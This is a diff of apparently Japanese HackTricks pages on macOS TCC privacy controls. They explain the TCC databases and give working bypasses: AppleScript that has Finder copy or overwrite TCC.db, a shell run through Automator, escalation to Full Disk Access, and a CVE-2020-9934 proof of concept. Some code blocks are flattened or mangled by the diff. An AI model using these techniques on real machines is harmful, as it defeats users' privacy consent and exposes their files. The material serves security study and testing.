ユーザーは、アプリケーションが保護された機能へのアクセスをリクエストする際にTCCに遭遇します。これは、ユーザーが**アクセスを承認または拒否**することができるプロンプトを介して可視化されます。さらに、TCCは、**ファイルをアプリケーションにドラッグアンドドロップする**などの直接的なユーザーアクションを受け入れ、特定のファイルへのアクセスを許可することで、アプリケーションが明示的に許可されたものだけにアクセスできるようにします。
@ -27,35 +27,37 @@ HackTricks をサポートする他の方法:
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、`com.apple.tccd`および`com.apple.usernotifications.delegate.com.apple.tccd`のマッチサービスを登録しています。
ここでは、システムとユーザーとして実行されているtccdを見ることができます。
```bash
ps -ef | grep tcc
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
```
アプリケーションは**親から継承された権限**を持ち、**Bundle ID**と**Developer ID**に基づいて**権限が追跡**されます。
### TCC データベース
許可/拒否は次の TCC データベースに保存されます:
- **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
- このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
- ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
- このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めますただし、SIP によって保護されていません)。
* **`/Library/Application Support/com.apple.TCC/TCC.db`** にあるシステム全体のデータベース。
* このデータベースは**SIP 保護**されており、SIP バイパスのみが書き込めます。
* ユーザー TCC データベース **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** はユーザーごとの設定に使用されます。
* このデータベースは、**FDA**などの高いTCC権限を持つプロセスのみが書き込めますただし、SIP によって保護されていません)。
{% hint style="warning" %}
前述のデータベースは読み取りアクセスに対しても**TCC 保護**されています。そのため、通常のユーザー TCC データベースを読み取ることはできませんTCC 権限を持つプロセスからでない限り)。
ただし、**FDA**や**`kTCCServiceEndpointSecurityClient`**などの高い権限を持つプロセスは、ユーザーの TCC データベースに書き込むことができます。
ただし、**FDA**や\*\*`kTCCServiceEndpointSecurityClient`\*\*などの高い権限を持つプロセスは、ユーザーの TCC データベースに書き込むことができます。
{% endhint %}
- **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されています。
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**TCC による読み取りアクセスも保護されています)には、すべての**有効な TCC データベースの場所**が含まれています。
- SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**TCC による読み取りアクセスも保護されています)には、さらに TCC が許可された権限が含まれています。
- SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**誰でも読み取り可能は、TCC 例外が必要なアプリケーションの許可リストです。
* **`/var/db/locationd/clients.plist`** には、**位置情報サービスにアクセスを許可されたクライアント**が示されています。
* SIP 保護されたファイル **`/Users/carlospolop/Downloads/REG.db`**TCC による読み取りアクセスも保護されています)には、すべての**有効な TCC データベースの場所**が含まれています。
* SIP 保護されたファイル **`/Users/carlospolop/Downloads/MDMOverrides.plist`**TCC による読み取りアクセスも保護されています)には、さらに TCC が許可された権限が含まれています。
* SIP 保護されたファイル **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`**誰でも読み取り可能は、TCC 例外が必要なアプリケーションの許可リストです。
{% hint style="success" %}
**iOS**のTCC データベースは**`/private/var/mobile/Library/TCC/TCC.db`**にあります。
**iOS**のTCC データベースは\*\*`/private/var/mobile/Library/TCC/TCC.db`\*\*にあります。
{% endhint %}
{% hint style="info" %}
@ -70,7 +72,7 @@ com.apple.rootless.storage.TCC
```
{% endcode %}
ただし、ユーザーは**`tccutil`**コマンドラインユーティリティを使用して、**ルールを削除したりクエリしたり**することができます。
ただし、ユーザーは\*\*`tccutil`\*\*コマンドラインユーティリティを使用して、**ルールを削除したりクエリしたり**することができます。
{% endhint %}
#### データベースのクエリ
@ -126,15 +128,16 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
両方のデータベースをチェックすると、アプリが許可した権限、禁止した権限、または持っていない権限(求められることがある)を確認できます。
{% endhint %}
- **`service`** は TCC **権限**の文字列表現です
- **`client`** は権限を持つバンドルIDまたはバイナリのパスです
- **`client_type`** はバンドル識別子0か絶対パス1かを示します
* **`service`** は TCC **権限**の文字列表現です
* **`client`** は権限を持つバンドルIDまたはバイナリのパスです
* **`client_type`** はバンドル識別子0か絶対パス1かを示します
<details>
<summary>絶対パスの場合の実行方法</summary>
単に **`launctl load you_bin.plist`** を実行します。plistは以下のようになります:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -171,11 +174,13 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
</dict>
</plist>
```
</details>
* **`auth_value`**の値は異なる可能性があります: denied(0), unknown(1), allowed(2), or limited(3).
* **`auth_reason`**の値は以下のいずれかを取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* \*\*`auth_value`\*\*の値は異なる可能性があります: denied(0), unknown(1), allowed(2), or limited(3).
* \*\*`auth_reason`\*\*の値は以下のいずれかを取ることができます: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
* **csreq**フィールドは、実行するバイナリを検証し、TCC権限を付与する方法を示すために存在しています:
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -191,15 +196,17 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
echo "X'$REQ_HEX'"
```
* テーブルの**他のフィールド**に関する詳細は、[このブログポスト](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)をチェックしてください。
また、`システム環境設定 --> セキュリティとプライバシー --> プライバシー --> ファイルとフォルダ`でアプリケーションに**すでに与えられた権限**を確認できます。
{% hint style="success" %}
ユーザーは、**`tccutil`**を使用して**ルールを削除またはクエリ**できます。
ユーザーは、**`tccutil`を使用してルールを削除またはクエリ**できます。
{% endhint %}
#### TCC権限のリセット
```bash
# You can reset all the permissions given to an application with
tccutil reset All app.some.id
@ -207,9 +214,11 @@ tccutil reset All app.some.id
# Reset the permissions granted to all apps
tccutil reset All
```
### TCC Signature Checks
TCCの**データベース**は、アプリケーションの**Bundle ID**を保存しますが、**許可を使用するよう要求する**アプリが正しいものであることを確認するために、**署名**に関する**情報**も保存します。
```bash
# From sqlite
sqlite> select service, client, hex(csreq) from access where auth_value=2;
@ -221,7 +230,6 @@ echo FADE0C00000000CC000000010000000600000007000000060000000F0000000E00000000000
csreq -t -r /tmp/telegram_csreq.bin
(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
```
{% endcode %}
{% hint style="warning" %}
したがって、同じ名前とバンドルIDを使用する他のアプリケーションは、他のアプリに付与された権限にアクセスできません。
@ -235,6 +243,7 @@ csreq -t -r /tmp/telegram_csreq.bin
ただし、`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントが必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
Appleのアプリケーションはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権限が含まれているため、ポップアップを生成することはありませんし、TCCデータベースにも表示されません。例
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -245,6 +254,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
<string>kTCCServiceAddressBook</string>
</array>
```
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを回避できます。
{% hint style="success" %}
@ -262,6 +272,7 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
### ユーザーの意図 / com.apple.macl
前述のように、ファイルをアプリにドラッグドロップすることで、そのアプリにファイルへのアクセスを許可することが可能です。このアクセスはTCCデータベースには特定されませんが、ファイルの**拡張属性**として保存されます。この属性には許可されたアプリの**UUID**が格納されます。
```bash
xattr Desktop/private.txt
com.apple.macl
@ -276,8 +287,9 @@ Filename,Header,App UUID
otool -l /System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal| grep uuid
uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
```
{% hint style="info" %}
**`com.apple.macl`**属性が**Sandbox**によって管理されている点は興味深いですが、tccdではありません。
**`com.apple.macl`属性がSandbox**によって管理されている点は興味深いですが、tccdではありません。
また、コンピュータ内のアプリのUUIDを許可するファイルを別のコンピュータに移動すると、同じアプリでも異なるUIDを持つため、そのアプリにアクセス権が付与されません。
{% endhint %}
@ -293,45 +305,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
<details>
<summary>TCCに挿入の例</summary>
```sql
INSERT INTO access (
service,
client,
client_type,
auth_value,
auth_reason,
auth_version,
csreq,
policy_id,
indirect_object_identifier_type,
indirect_object_identifier,
indirect_object_code_identity,
flags,
last_modified,
pid,
pid_version,
boot_uuid,
last_reminded
) VALUES (
'kTCCServiceSystemPolicyDesktopFolder', -- service
'com.googlecode.iterm2', -- client
0, -- client_type (0 - bundle id)
2, -- auth_value (2 - allowed)
3, -- auth_reason (3 - "User Set")
1, -- auth_version (always 1)
X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
NULL, -- policy_id
NULL, -- indirect_object_identifier_type
'UNUSED', -- indirect_object_identifier - default value
NULL, -- indirect_object_code_identity
0, -- flags
strftime('%s', 'now'), -- last_modified with default current timestamp
NULL, -- assuming pid is an integer and optional
NULL, -- assuming pid_version is an integer and optional
'UNUSED', -- default value for boot_uuid
strftime('%s', 'now') -- last_reminded with default current timestamp
);
```
\`\`\`sql INSERT INTO access ( service, client, client\_type, auth\_value, auth\_reason, auth\_version, csreq, policy\_id, indirect\_object\_identifier\_type, indirect\_object\_identifier, indirect\_object\_code\_identity, flags, last\_modified, pid, pid\_version, boot\_uuid, last\_reminded ) VALUES ( 'kTCCServiceSystemPolicyDesktopFolder', -- service 'com.googlecode.iterm2', -- client 0, -- client\_type (0 - bundle id) 2, -- auth\_value (2 - allowed) 3, -- auth\_reason (3 - "User Set") 1, -- auth\_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now NULL, -- policy\_id NULL, -- indirect\_object\_identifier\_type 'UNUSED', -- indirect\_object\_identifier - default value NULL, -- indirect\_object\_code\_identity 0, -- flags strftime('%s', 'now'), -- last\_modified with default current timestamp NULL, -- assuming pid is an integer and optional NULL, -- assuming pid\_version is an integer and optional 'UNUSED', -- default value for boot\_uuid strftime('%s', 'now') -- last\_reminded with default current timestamp ); \`\`\`
</details>
### TCC ペイロード
@ -351,7 +327,7 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** の許可が必要です。
{% tabs %}
{% tab title="ユーザーの TCC.db を盗む %}
{% tab title="undefined" %}
```applescript
# This AppleScript will copy the system TCC database into /tmp
osascript<<EOD
@ -389,31 +365,20 @@ EOD
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
{% hint style="danger" %}
**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのようなアプリを**制御**することができます。そのため、Automatorを制御する権限があれば、以下のコードのように**Finder**を制御することもできます:
**Automator**アプリがTCC権限\*\*`kTCCServiceAppleEvents`**を持っているため、Finderのようなアプリを**制御**することができます。そのため、Automatorを制御する権限があれば、以下のコードのように**Finder\*\*を制御することもできます:
{% endhint %}
<details>
<summary>Automator内でシェルを取得</summary>
```applescript
osascript<<EOD
set theScript to "touch /tmp/something"
tell application "Automator"
set actionID to Automator action id "com.apple.RunShellScript"
tell (make new workflow)
add actionID to it
tell last Automator action
set value of setting "inputMethod" to 1
set value of setting "COMMAND_STRING" to theScript
end tell
execute it
end tell
activate
end tell
EOD
# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
```
\`\`\`applescript osascript<
tell application "Automator" set actionID to Automator action id "com.apple.RunShellScript" tell (make new workflow) add actionID to it tell last Automator action set value of setting "inputMethod" to 1 set value of setting "COMMAND\_STRING" to theScript end tell execute it end tell activate end tell EOD
## Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
````
</details>
**スクリプトエディターアプリ**でも同じことが起こります。Finderを制御できますが、AppleScriptを使用してスクリプトを実行することはできません。
@ -461,12 +426,14 @@ EOD
# File operations in the folder should trigger the Folder Action
touch "$HOME/Desktop/file"
rm "$HOME/Desktop/file"
```
### 自動化SE+ アクセシビリティ(**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**によるFDA\*
````
#### 自動化SE+ アクセシビリティ(**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`\*\*によるFDA\*
**`System Events`** 上での自動化 + アクセシビリティ(**`kTCCServicePostEvent`**)を使用すると、**プロセスにキーストロークを送信**できます。これにより、Finderを悪用してユーザーのTCC.dbを変更したり、FDAを任意のアプリに付与したりすることができますただし、これにはパスワードの入力が求められる場合があります
FinderによるユーザーのTCC.db 上書きの例:
```applescript
-- store the TCC.db file to copy in /tmp
osascript <<EOF
@ -512,48 +479,52 @@ keystroke "v" using {command down}
end tell
EOF
```
### `kTCCServiceAccessibility`からFDAへのエスカレーション
#### `kTCCServiceAccessibility`からFDAへのエスカレーション
[**アクセシビリティ権限を悪用するためのペイロード**](macos-tcc-payloads.md#accessibility)をチェックして、FDA\*にエスカレーションしたり、キーロガーを実行したりできます。
### **エンドポイントセキュリティクライアントからFDAへ**
#### **エンドポイントセキュリティクライアントからFDAへ**
**`kTCCServiceEndpointSecurityClient`**を持っていれば、FDAを持っています。以上。
\*\*`kTCCServiceEndpointSecurityClient`\*\*を持っていれば、FDAを持っています。以上。
### システムポリシーシステム管理者ファイルからFDAへ
#### システムポリシーシステム管理者ファイルからFDAへ
**`kTCCServiceSystemPolicySysAdminFiles`**は、ユーザーの**`NFSHomeDirectory`**属性を変更し、ユーザーのホームフォルダを変更することができ、それにより**TCCをバイパス**することができます。
**`kTCCServiceSystemPolicySysAdminFiles`は、ユーザーの`NFSHomeDirectory`属性を変更し、ユーザーのホームフォルダを変更することができ、それによりTCCをバイパス**することができます。
### ユーザーTCCデータベースからFDAへ
#### ユーザーTCCデータベースからFDAへ
ユーザーTCCデータベースに**書き込み権限**を取得すると、自分に**`FDA`**権限を付与することはできませんが、システムデータベースに存在する権限を付与することができます。
ユーザーTCCデータベースに**書き込み権限**を取得すると、自分に\*\*`FDA`\*\*権限を付与することはできませんが、システムデータベースに存在する権限を付与することができます。
しかし、**`Finderへの自動化権限`**を自分に与えることができ、前述の手法を悪用してFDA\*にエスカレーションすることができます。
しかし、\*\*`Finderへの自動化権限`\*\*を自分に与えることができ、前述の手法を悪用してFDA\*にエスカレーションすることができます。
### **FDAからTCC権限へ**
#### **FDAからTCC権限へ**
**フルディスクアクセス**のTCC名は**`kTCCServiceSystemPolicyAllFiles`**です。
**フルディスクアクセス**のTCC名は\*\*`kTCCServiceSystemPolicyAllFiles`\*\*です。
これは実際にはリアルなエスカレーションではないと思いますが、念のために役立つかもしれません。FDAを制御できるプログラムがある場合、**ユーザーTCCデータベースを変更して任意のアクセス権を与える**ことができます。これは、FDA権限を失った場合の持続性テクニックとして役立つ可能性があります。
### **SIPバイパスからTCCバイパスへ**
#### **SIPバイパスからTCCバイパスへ**
システムのTCCデータベースは**SIP**によって保護されているため、**指定された権限を持つプロセスのみが変更できます**。したがって、攻撃者が**SIPバイパス**を見つけるとSIPによって制限されたファイルを変更できるようになる、次のことができるようになります
- TCCデータベースの保護を**解除**し、自分にすべてのTCC権限を与えることができます。たとえば、次のファイルを悪用できます
- TCCシステムデータベース
- REG.db
- MDMOverrides.plist
* TCCデータベースの保護を**解除**し、自分にすべてのTCC権限を与えることができます。たとえば、次のファイルを悪用できます
* TCCシステムデータベース
* REG.db
* MDMOverrides.plist
ただし、この**SIPバイパスをTCCバイパスに悪用**する別のオプションがあります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`ファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を**解除**し、**独自のアプリケーション**を追加すると、そのアプリケーションはTCCをバイパスできるようになります。\
たとえば、ターミナルを追加する場合:
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
```
### AllowApplicationsList.plist:
### AllowApplicationsList.plist:
#### AllowApplicationsList.plist:
#### AllowApplicationsList.plist:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -576,29 +547,14 @@ codesign -d -r- /System/Applications/Utilities/Terminal.app
</dict>
</plist>
```
### TCC バイパス
{% content-ref url="macos-tcc-bypasses/" %}
[macos-tcc-bypasses](macos-tcc-bypasses/)
{% endcontent-ref %}
#### TCC バイパス
## 参考文献
### 参考文献
* [**https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive)
* [**https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command**](https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command)
* [**https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
* **ハッキングトリックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する。
</details>

View file

@ -1,4 +1,4 @@
# macOS TCC バイパス
# macOS TCC Bypasses
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) **に参加するか、**[**telegramグループ**](https://t.me/peass) **に参加するか、Twitter 🐦** [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。\*\*
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
</details>
@ -19,6 +19,7 @@ HackTricks をサポートする他の方法:
### 書き込みバイパス
これはバイパスではなく、TCCの動作方法です: **書き込みを保護しない**。ターミナルがユーザーのデスクトップを読み取る権限がない場合でも、**それに書き込むことができます**:
```shell-session
username@hostname ~ % ls Desktop
ls: Desktop: Operation not permitted
@ -28,13 +29,14 @@ ls: Desktop: Operation not permitted
username@hostname ~ % cat Desktop/lalala
asd
```
**拡張属性 `com.apple.macl`** は、新しい**ファイル**に追加され、**作成者のアプリ**がそれを読む権限を与えます。
### TCC ClickJacking
ユーザーが気づかずにそれを**受け入れる**ようにするために、TCCプロンプトの上に**ウィンドウを配置**することが可能です。PoCは[TCC-ClickJacking](https://github.com/breakpointHQ/TCC-ClickJacking)で見つけることができます。
<figure><img src="broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-tcc/macos-tcc-bypasses/broken-reference" alt=""><figcaption><p><a href="https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg">https://github.com/breakpointHQ/TCC-ClickJacking/raw/main/resources/clickjacking.jpg</a></p></figcaption></figure>
### 任意の名前によるTCCリクエスト
@ -65,21 +67,21 @@ SSHを有効にするには、今では**Full Disk Access**が必要です
### 拡張子の処理 - CVE-2022-26767
属性**`com.apple.macl`**は、**特定のアプリケーションがそれを読む権限を持つ**ためにファイルに与えられます。この属性は、ファイルをアプリに**ドラッグ&ドロップ**するか、ユーザーがファイルを**ダブルクリック**してデフォルトのアプリで開くときに設定されます。
属性\*\*`com.apple.macl`**は、特定のアプリケーションがそれを読む権限を持つためにファイルに与えられます。この属性は、ファイルをアプリに**ドラッグ&ドロップ**するか、ユーザーがファイルを**ダブルクリック\*\*してデフォルトのアプリで開くときに設定されます。
したがって、ユーザーは、すべての拡張子を処理する悪意のあるアプリを登録し、Launch Servicesを呼び出して**任意のファイルを開く**ことができます(そのため、悪意のあるファイルはそれを読む権限が与えられます)。
### iCloud
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、そこから**iCloudトークンを取得**できます。
権限\*\*`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`\*\* XPCサービスと通信することが可能で、そこから**iCloudトークンを取得**できます。
**iMovie**と**Garageband**はこの権限を持っていました。
その権限からiCloudトークンを取得する**エクスプロイト**についての詳細は、次のトークをチェックしてください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
その権限からiCloudトークンを取得する**エクスプロイト**についての詳細は、次のトークをチェックしてください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### kTCCServiceAppleEvents / Automation
**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御**することができます。これは、他のアプリに付与された権限を**悪用**する可能性があることを意味します。
**`kTCCServiceAppleEvents`権限を持つアプリは、他のアプリを制御**することができます。これは、他のアプリに付与された権限を**悪用**する可能性があることを意味します。
Apple Scriptsに関する詳細は次をチェックしてください
@ -87,7 +89,7 @@ Apple Scriptsに関する詳細は次をチェックしてください
[macos-apple-scripts.md](macos-apple-scripts.md)
{% endcontent-ref %}
たとえば、アプリが**`iTerm`に対してAutomation権限**を持っている場合、この例では**`Terminal`**がiTermにアクセス権を持っています
たとえば、アプリが\*\*`iTerm`に対してAutomation権限**を持っている場合、この例では**`Terminal`\*\*がiTermにアクセス権を持っています
<figure><img src="../../../../../.gitbook/assets/image (2) (2) (1).png" alt=""><figcaption></figcaption></figure>
@ -108,12 +110,15 @@ end tell
end tell
```
{% endcode %}
```bash
osascript iterm.script
```
#### Finderを介して
または、アプリがFinderを介してアクセスできる場合、次のようなスクリプトがあるかもしれません
```applescript
set a_user to do shell script "logname"
tell application "Finder"
@ -123,6 +128,7 @@ set t to paragraphs of (do shell script "cat " & POSIX path of (copyFile as alia
end tell
do shell script "rm " & POSIX path of (copyFile as alias)
```
## アプリケーションの挙動による
### CVE-20209934 - TCC <a href="#c19b" id="c19b"></a>
@ -130,8 +136,9 @@ do shell script "rm " & POSIX path of (copyFile as alias)
ユーザーランドの**tccdデーモン**は、**`HOME`** **env**変数を使用して、次の場所からTCCユーザーデータベースにアクセスします**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
[このStack Exchangeの投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)によると、TCCデーモンは現在のユーザーのドメイン内で`launchd`を介して実行されているため、**渡されるすべての環境変数を制御**することが可能です。\
したがって、**攻撃者は`launchctl`**で`$HOME`環境変数を**制御されたディレクトリ**を指すように設定し、**TCC**デーモンを**再起動**してから、TCCデータベースを**直接変更**して、エンドユーザーにプロンプトを表示せずに**利用可能なすべてのTCC権限を自分に与える**ことができます。\
したがって、**攻撃者は`launchctl`で`$HOME`環境変数を制御されたディレクトリ**を指すように設定し、**TCC**デーモンを**再起動**してから、TCCデータベースを**直接変更**して、エンドユーザーにプロンプトを表示せずに**利用可能なすべてのTCC権限を自分に与える**ことができます。\
PoC:
```bash
# reset database just in case (no cheating!)
$> tccutil reset All
@ -158,6 +165,7 @@ NULL,
# list Documents directory without prompting the end user
$> ls ~/Documents
```
### CVE-2021-30761 - ノート
ートはTCCで保護された場所へのアクセス権を持っていましたが、ートが作成されるときは**保護されていない場所**に作成されます。したがって、ノートに保護されたファイルをコピーするように依頼し、その後ファイルにアクセスできます:
@ -166,42 +174,44 @@ $> ls ~/Documents
### CVE-2021-30782 - トランスロケーション
ライブラリ`libsecurity_translocate`を持つバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`という権限を持っていました。これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`と**`kTCCServiceSystemPolicyAllFiles`**を持ってすべてのファイルにアクセスできました。
ライブラリ`libsecurity_translocate`を持つバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`という権限を持っていました。これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`と\*\*`kTCCServiceSystemPolicyAllFiles`\*\*を持ってすべてのファイルにアクセスできました。
"Library"に隔離属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことで、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマップし、Library内のすべてのドキュメントに**アクセス**できるようになりました。
"Library"に隔離属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことで、Libraryを\*\*`$TMPDIR/AppTranslocation/d/d/Library`**にマップし、Library内のすべてのドキュメントに**アクセス\*\*できるようになりました。
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
**`Music`**には興味深い機能があります。実行中に**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のようなものを呼び出します:**`rename(a, b);`** ここで`a`と`b`は次のとおりです:
**`Music`には興味深い機能があります。実行中に`~/Music/Music/Media.localized/Automatically Add to Music.localized`にドロップされたファイルをユーザーの「メディアライブラリ」にインポート**します。さらに、次のようなものを呼び出します:**`rename(a, b);`** ここで`a`と`b`は次のとおりです:
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
この**`rename(a, b);`**の動作は**競合状態**に脆弱であり、`Automatically Add to Music.localized`フォルダに偽の**TCC.db**ファイルを配置し、新しいフォルダ(b)が作成されたときにファイルをコピーして削除し、**`~/Library/Application Support/com.apple.TCC`**/にポイントを指定することが可能でした。
